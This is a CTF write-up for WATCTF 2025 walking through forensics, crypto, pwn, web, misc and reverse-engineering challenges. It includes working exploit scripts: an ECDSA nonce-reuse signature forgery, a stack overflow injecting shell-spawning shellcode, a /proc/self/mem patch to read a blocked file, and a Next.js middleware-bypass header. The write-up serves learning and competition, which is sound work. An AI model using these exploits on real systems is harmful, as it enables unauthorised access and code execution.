---
# System prepended metadata

title: WATCTF 2025
tags: [CTF]

---

# WATCTF 2025
Play with my team named "**mc3**". We still noobs 🙏.. Personally, I love solving some Binary Exploitation, Webex and Reverse Engineering

![image](https://hackmd.io/_uploads/rkx4AmZilx.png)

---

All of these write-ups were written by me, so I apologize for any mistakes.

## design-portofolio (Forensics)
Given the **pcap (Network Capture)** file and filtering the **HTTP** data. I saw **X-Flag-Chunk-***
![image](https://hackmd.io/_uploads/rJ1oJV-sgl.png)

So to make it easy, i just grab all **X-Flag-Chunk** with **strings** and put it all into **cyberchef** to make it easy identifying

![image](https://hackmd.io/_uploads/By8p14-sge.png)
![image](https://hackmd.io/_uploads/SJY1lVWjxe.png)

In header we can see it a **PNG** file, so save it and open

![image](https://hackmd.io/_uploads/By_WgVZsxx.png)

FLAG: `watctf{steg0_over_http}`

## horse-drawn (Misc)
It just connecting the **SSH** but it can't reach end line of response. So here how to do it
```bash
ssh -tt hexed@challs.watctf.org -p 8022 | cat -v
```

FLAG: `watctf{im_more_of_a_tram_fan_personally}`

## curve-desert (Crypto)

Im not really good at crypto but the code was implements a custom ECDSA signer and verifier on the curve BRAINPOOLP512r1. Here the full code

```python=
from Crypto.Util.number import bytes_to_long, inverse
from pwn import *
import ecdsa, random, os

rem = remote("challs.watctf.org", 3788)

curve = ecdsa.curves.BRAINPOOLP512r1
gen, n = curve.generator, curve.order

challengeHex = rem.recvline().split()[2]

info(f"Challenge: {challengeHex}")

challenge = bytes.fromhex(challengeHex.decode())

# Signature
rem.sendlineafter(b"Choose an option:", b"1")
rem.sendlineafter(b"Input hex of message to sign:", b"01")
r1Number = rem.recvline().decode().split(" is: ")[1].split(" ")

r1, s1 = int(r1Number[0]), int(r1Number[1])
info(f"r1: {r1}, s1: {s1}")

rem.sendlineafter(b"Choose an option:", b"1")
rem.sendlineafter(b"Input hex of message to sign:", b"02")
r2Number = rem.recvline().decode().split(" is: ")[1].split(" ")

r2, s2 = int(r2Number[0]), int(r2Number[1])
info(f"r2: {r2}, s2: {s2}")

z1, z2 = bytes_to_long(b"\x01"), bytes_to_long(b"\x02")

# recover k
k = ( (z1 - z2) * inverse(s1 - s2, n) ) % n

# recover priv
priv = ((s1 * k - z1) * inverse(r1, n)) % n

# forge signature on challenge
z = bytes_to_long(challenge)
r = r1  # same r, since k same
s = (inverse(k, n) * (z + r*priv)) % n


# Verify
rem.sendlineafter(b"Choose an option:", b"2")
rem.sendlineafter(b"to verify:", challengeHex)
rem.sendlineafter(b"seperated by a space:", (str(r) + " " + str(s)).encode())

rem.interactive()
```

FLAG: `watctf{yeah_dont_share_the_k_parameter_it_doesnt_work_out}`

## 2p2t (Crypto)
It's just a simple RSA...

```python
from math import isqrt

N = 331952857868366988663932945877951080549278582595446041827767968625349664658283914707688360079014486835580798093875473318398665440196327017511963073666394378115620522693620625071360763670651867749935306771611365203669632958229266010553458203000895499490278056591308718235818336550276558946434347335414409026661
e = 65537
ct = 27392982072168505918328498224512439143304951239197916179225339049412270594576024668071218892690652612353376666973045187430259051892719839059780552668922042760370020764362839523844795479477997719361780814250593853162333527993824104731684172908271583213365558182307524519318252505075812038979585427505321346605

# factor N
p = q = None
for r in range(1, 1_000_000, 2):  # odd r
    D = r*r + 8*N
    y = isqrt(D)
    if y*y == D and (y-r) % 2 == 0:
        m = (y-r)//2
        if m % 2 == 0:
            p = m//2
            if p > 1 and N % p == 0:
                q = N//p
                break

phi = (p-1)*(q-1)
d = pow(e, -1, phi)
pt = pow(ct, d, N)

flag = pt.to_bytes((pt.bit_length()+7)//8, "big")
print(flag.decode())
```

FLAG: `watctf{qu4dr4t1c_3qu4t10ns_l0ve_c0rr3l4t10n}`

## intro2pwn (Pwn)

Classic bufferoverflow with executable stack
```
Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      Canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No
```
```cpp!
__int64 __fastcall vuln(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  char v11[72]; // [rsp+0h] [rbp-50h] BYREF

  _printf_chk(2, (unsigned int)"Addr: %p\n", (unsigned int)v11, a4, a5, a6, v11[0]);
  fflush(stdout);
  _isoc99_scanf((unsigned int)"%s", (unsigned int)v11, v6, v7, v8, v9, v11[0]);
  return 0LL;
}
```

Reach the bufferoverflow will be 72 and rest just spawn the shell, here the script
```python!
from pwn import *

context.update(arch="amd64", os="linux")

# p = process("./vuln")
# gdb.attach(p, gdbscript='''
#     b *0x0000000000401910
#     handle SIGSEGV stop print
#     c
# ''')
p = remote("challs.watctf.org", 1991)

# Since NX is disabled, we can inject our shellcode 

leak = p.recvline().strip().split()[-1]
buf = int(leak, 16)
log.success(f"buffer at {hex(buf)}")

# shellcode
sc = asm(shellcraft.sh())

buffer = 72 # Reach to stack
payload = sc.ljust(buffer, b"\x90")
payload += b"A" * 8 # Padding
payload += b"B" * 8 # RBP
payload += p64(buf)

log.hexdump(payload)

p.sendline(payload)
p.interactive()
```

FLAG: `watctf{g00d_j0b_s0m3t1m3s_on_old_machines_this_1s_3n0ugh}`

## gooses-typing-test (Web)

This is just typing speed test and need to reach 500wpm or more. So i just write some script and execute in on console
```js
const input = document.querySelector("input");

function newEvent(key) {
    return new KeyboardEvent("keydown", {
        key,
        bubbles: true,
    });
}

const firstChar = document.querySelectorAll("div > span")[1].innerText;
const left = document.querySelectorAll("div > span")[2].innerText;

// Trigger first
input.dispatchEvent(newEvent(firstChar));

// Trigger rest
for (let i = 0; i < left.length; i++) {
    await (async () => {
        await new Promise((resolve) => setTimeout(resolve, 10));
        input.dispatchEvent(newEvent(left[i]));
    })();
}
```

FLAG: `watctf{this_works_in_more_places_than_youd_think}`

## Waterloo Trivia Dash (Web)

There is 3 questions and the answer 
```js
let a = [{
    prompt: "Which research institute is based in Waterloo?",
    options: ["CERN", "Perimeter Institute for Theoretical Physics", "Brookhaven National Laboratory", "Max Planck Institute"],
    correctIndex: 1
}, {
    prompt: "Which university is in Waterloo?",
    options: ["Harvard University", "University of Waterloo", "UCLA", "ETH Z\xfcrich"],
    correctIndex: 1
}, {
    prompt: "Which tech company was famously founded in Waterloo?",
    options: ["BlackBerry (RIM)", "Nokia", "Sony", "Xiaomi"],
    correctIndex: 0
}];
```
After answering all question i get directed into /admin but its response with **307**
![image](https://hackmd.io/_uploads/SytTXN-iee.png)
![image](https://hackmd.io/_uploads/ryIA7EWsll.png)

So this can be some NextJS vulnerability. Most popular is **Bypass Middleware**. So i just put the header with **x-middleware-subrequest** with **src/middleware:...**

![image](https://hackmd.io/_uploads/HkLm4EZsgl.png)


FLAG: `watctf{next_js_middleware_is_cool}`

## hex-editor-xtended-v2 (Pwn)

I tried to analyze the code and get some interesting functions
```c!
void do_open_command(char *user_path) {
    if(realpath(user_path, path) == NULL) {
        perror("could not resolve path");
        clear_path();
        return;
    }
    if (startswith(path, "//")) {
        puts("path has to start with a single slash");
        clear_path();
        return;
    }
    if (strncmp(path, "/secret.txt", strlen("/secret.txt")) == 0) {
        puts("accessing /secret.txt not allowed");
        clear_path();
        return;
    }
    current_file = fopen(path, "r+");
    if(current_file == NULL) {
        if(errno == EACCES) {
            // Let them try opening it for reading anyway
            current_file = fopen(path, "r");
            if(current_file == NULL) {
                perror("Failed opening file for reading");
                clear_path();
                return;
            }
            file_is_readonly = true;
            return;
        }
        perror("Failed opening file");
        clear_path();
        return;
    }
    file_is_readonly = false;
}
```
There is /secret.txt which i think that is our target, because there is none of description that we can read other files.

This could be **heap exploitation, bufferoverflow, ROP or something else**, but when i deep analyze it was not 😭😭 .. But in **do_open_command** allow us to open like **/etc/passwd**, **/proc/self/maps** and **/proc/self/mem**. As far i know, the challenge allow us to set any data (only when its not readonly)
```c
void do_set(uint64_t filepos, char byte) {
    if(current_file == NULL) {
        puts("You're not editing any files currently");
        return;
    }
    if(file_is_readonly) {
        puts("Can't change the contents of a readonly file");
        return;
    }
    if(fseek(current_file, filepos, SEEK_SET) < 0) {
        perror("failed seek");
        return;
    }
    if(fputc(byte, current_file) < 0) {
        perror("failed write");
    }
}
```

And the **/proc/self/mem** is not readonly also it allow us. For more information about **/proc/self/mem** you can check here: https://blog.cloudflare.com/diving-into-proc-pid-mem/

Our target is clear now, we need write **/proc/self/mem**.. But where?? 😀. If i take a look the binary that i got
```b
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
```
It's very lucky that **PIE** was disabled, if not it will be more difficult. Im gonna look up the **strncmp** on **do_open_command**
```b
0x000000000040182e <+128>:   mov    edx,0xb
0x0000000000401833 <+133>:   lea    rax,[rip+0x95814]        # 0x49704e
0x000000000040183a <+140>:   mov    rsi,rax
0x000000000040183d <+143>:   lea    rax,[rip+0xc5abc]        # 0x4c7300 <path>
0x0000000000401844 <+150>:   mov    rdi,rax
0x0000000000401847 <+153>:   call   0x401070
0x000000000040184c <+158>:   test   eax,eax
0x000000000040184e <+160>:   jne    0x40186e <do_open_command+192>
0x0000000000401850 <+162>:   lea    rax,[rip+0x95809]        # 0x497060
0x0000000000401857 <+169>:   mov    rdi,rax
0x000000000040185a <+172>:   call   0x41a5a0 <puts>
0x000000000040185f <+177>:   mov    eax,0x0
0x0000000000401864 <+182>:   call   0x401755 <clear_path>
0x0000000000401869 <+187>:   jmp    0x401918 <do_open_command+362>

pwndbg> x/12s $rip+0x95814
0x497047:       " slash"
0x49704e:       "/secret.txt"
0x49705a:       ""
0x49705b:       ""
0x49705c:       ""
0x49705d:       ""
0x49705e:       ""
0x49705f:       ""
0x497060:       "accessing /secret.txt not allowed"
0x497082:       "r+"
0x497085:       "r"
0x497087:       ""
```
Our target address will be **0x49704e** and set any data to overwrite the /secret.txt. 

```b 
> open /proc/self/mem
> set 4812878 41
> set 4812879 41
> set 4812880 41
> set 4812881 41
> set 4812882 41
> open /secret.txt
```
After that, try to get the data
```b
> get 0
77
> get 1
61
> get 2
74
> get 3
63
> get 4
74
> get 5
66
```
Seems like its working, now wrapped all into script (**I dont use connect todo that, instead i use pexpect due the SSH connection issues**)
```python!
import pexpect
from pwn import *

# Spawn the SSH command
child = pexpect.spawn("ssh hexed@challs.watctf.org -p 2022")

def send(cmd):
    child.expect(b"> ", timeout=5)
    child.sendline(cmd)
def get(num):
    payload = b"get " + str(num).encode()
    child.expect(b"> ", timeout=5)
    child.sendline(payload)
    
    return child.read_nonblocking(len(payload) + len(str(num)) + 3).decode().split("\n")[1]

try:
    # send("open /proc/self/maps") # Dump maps
    
    # # Maps
    # maps = ""
    
    # # Dump all
    # for x in range(0, 1024):
    #     maps += chr(int(get(x), 16))
    #     print(maps)
    
    # We are allowed into write the /proc/self/mem
    send("open /proc/self/mem")
    
    # Prepare address to write
    # $rip+0x95814
    rodata = 0x49704e 
    
    # Send payload to overwrite the strncmp (patch)
    for x in range(6):
        info("Overwriting " + str(hex(rodata + x)))
        send(b"set " + str(rodata + x).encode() + b" " + b"41") # Overwrite with A
    
    # Re-open the secret.txt
    info("Open secret.txt now")
    send("open /secret.txt")
    
    # Get flag
    info("Dump all flags")
    flag = ""
    for x in range(0x100):
        res = get(x)
        print(res)
        
        flag += chr(int(get(x), 16))
        print(flag)

except pexpect.exceptions.TIMEOUT:
    print("Timed out waiting for output")
except Exception as e:
    print("Error:", str(e))

finally:
    child.close()
```
```b
[*] Overwriting 0x49704e
[*] Overwriting 0x49704f
[*] Overwriting 0x497050
[*] Overwriting 0x497051
[*] Overwriting 0x497052
[*] Overwriting 0x497053
[*] Open secret.txt now
[*] Dump all flags
77
w
61
wa
74
wat
63
watc
74
watct
66
watctf
7b
watctf{
68
watctf{h
30
watctf{h0
70
watctf{h0p
33
watctf{h0p3
66
watctf{h0p3f
75
watctf{h0p3fu
6c
watctf{h0p3ful
6c
watctf{h0p3full
79
watctf{h0p3fully
5f
watctf{h0p3fully_
74
watctf{h0p3fully_t
68
watctf{h0p3fully_th
33
watctf{h0p3fully_th3
72
watctf{h0p3fully_th3r
33
watctf{h0p3fully_th3r3
5f
watctf{h0p3fully_th3r3_
77
watctf{h0p3fully_th3r3_w
34
watctf{h0p3fully_th3r3_w4
73
watctf{h0p3fully_th3r3_w4s
6e
watctf{h0p3fully_th3r3_w4sn
74
watctf{h0p3fully_th3r3_w4snt
5f
watctf{h0p3fully_th3r3_w4snt_
34
watctf{h0p3fully_th3r3_w4snt_4
6e
watctf{h0p3fully_th3r3_w4snt_4n
5f
watctf{h0p3fully_th3r3_w4snt_4n_
75
watctf{h0p3fully_th3r3_w4snt_4n_u
6e
watctf{h0p3fully_th3r3_w4snt_4n_un
31
watctf{h0p3fully_th3r3_w4snt_4n_un1
6e
watctf{h0p3fully_th3r3_w4snt_4n_un1n
74
watctf{h0p3fully_th3r3_w4snt_4n_un1nt
33
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3
6e
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3n
64
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd
33
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3
64
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d
5f
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_
61
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_a
67
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag
34
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag4
31
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41
6e
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n
7d
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}
0a
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}
```
FLAG: `watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}`

## web-slinger-logs (misc)
Im not sure what vulnerability is this, but just take look how i solve this
```b
> logs
{
  "login_attempts": [
    {
      "timestamp": "2025-09-09T09:22:45",
      "date": "2025-09-09",
      "user": "test1",
      "password": "securepass2024_2025-09-09",
      "type": "login_attempt",
      "status": "success",
      "reason": "valid_credentials"
    },
  ]
}
> login test1 securepass2024
{
  "Status": "400",
  "Message": "Login failed: missing date suffix."
}
> login test1 securepass2024_2025-09-11
{
  "Status": "200",
  "Message": "Replay attack successful",
  "flag": "watctf{web_slinger_replay_2025}"
}
```

FLAG: `watctf{web_slinger_replay_2025}`

## tfw-no-stack-locals (Rev)

I'm trying to decompile the **WASM** into C but it really-really alot garbage code. Trying to optimizing it and fall into rabbit hole due wrong encryption algorithm. So, i decide focus on read **memory buffer** for **0x0** to **0x200000** and found interesting data
```!
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d9 ff 00 00 77 61 74 63 74 66 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 99 ff 00 00 f8 c5 f5 0d 08 a4 87 19 5e aa df 51 22 68 80 0d 3e 11 09 85 b0 11 af 99 13 c1 fe e7 b5 c8 57 99 1b f8 d2 a8 96 0f ef c4 3b f2 b5 41 c0 d4 87 27 f4 1c ba 8d f2 21 d9 3d 00 00 00 00 59 ff 00 00 f8 c5 f5 0d 08 a4 bd 31 79 b4 e7 7f 16 76 ad 23 10 3b 17 ad 9f 24 81 87 3b f4 e0 d1 c0 fa 7b 87 6b ca cc dd b4 3a db e4 16 df 8d 5f b5 ca a4 57 c1 02 8c ff 82 12 fc 01 00 00 00 00 19 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
```
It's seemslike my input was write on that position and there is more on it. So i decide dump and find the offset
![image](https://hackmd.io/_uploads/HyTL94bsxg.png)

When i look through this, there is 7 byte are simmilar on **0x110048 and 0x110088**. I was trying input with "watctf{AAA...".. It seemslike the encrypted data was also stored in **memory buffer** which will make me easy to identify next character. So im just gonna edit the **check_flag** code into this

```js
export function check_flag(flag) {
	const inputflag = (flag) => {
		const ptr0 = passStringToWasm0(
			flag.padEnd(56, "A"),
			wasm.__wbindgen_malloc,
			wasm.__wbindgen_realloc
		);
		const len0 = WASM_VECTOR_LEN;
		const ret = wasm.check_flag(ptr0, len0);

		return ret;
	};

	let bruteFlag = "watctf{";
	flag = bruteFlag;
	inputflag(flag);

	function dumpHex(start, length, print = true) {
		const u8 = new Uint8Array(wasm.memory.buffer, start, length);
		let out = [];
		for (let i = 0; i < u8.length; i++) {
			out.push(u8[i].toString(16).padStart(2, "0"));

			// if (
			// 	u8[i] === 0xf8 &&
			// 	u8[i + 1] === 0xc5 &&
			// 	u8[i + 2] === 0xf5 &&
			// 	u8[i + 3] === 0x0d &&
			// 	u8[i + 4] === 0x08 &&
			// 	u8[i + 5] === 0xa4 &&
			// 	u8[i + 6] === 0xbd &&
			// 	u8[i + 7] === 0x31 &&
			// 	u8[i + 8] === 0x79
			// ) {
			// 	console.log("Match found! candidate produced correct bytes.");
			// 	console.log("0x" + (start + i).toString(16), out.join(" "));
			// }
		}
		if (print) {
			console.log("0x" + start.toString(16), out.join(" "));
		}

		return out;
	}

	const sizeStack = 56;
	const bufferEncFlag = 0x110088;
	const bufferBruteFlag = bufferEncFlag - (8 + 56);
	const bufferInputFlag = bufferEncFlag - (16 + 56 * 2);

	dumpHex(bufferBruteFlag, sizeStack);
	dumpHex(bufferEncFlag, sizeStack);
	dumpHex(bufferInputFlag, sizeStack);

	// Try brute
	const charset =
		"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_";
	for (let pos = bruteFlag.length; pos < 56; pos++) {
		let found = false;

		for (const ch of charset) {
			const candidate = bruteFlag + ch;
			inputflag(candidate);

			// Dump the hex
			// console.log(candidate);

			const bruteRes = dumpHex(bufferBruteFlag, pos + 1, false)[pos];
			const encRes = dumpHex(bufferEncFlag, pos + 1, false)[pos];
			const inputRes = dumpHex(bufferInputFlag, pos + 1, false)[pos];

			if (bruteRes == encRes) {
				// console.log(bruteRes, encRes, inputRes);
				// return;
				bruteFlag += ch;

				console.log(`0x` + (bufferBruteFlag + pos + 1).toString(16), bruteFlag);
				break;
			}
		}
	}
}
```
![image](https://hackmd.io/_uploads/HJ2wi4Wiex.png)

FLAG: `watctf{if_you_look_into_it_w4sm_1s_4ctually_4_b1t_w31rd}`

# The end
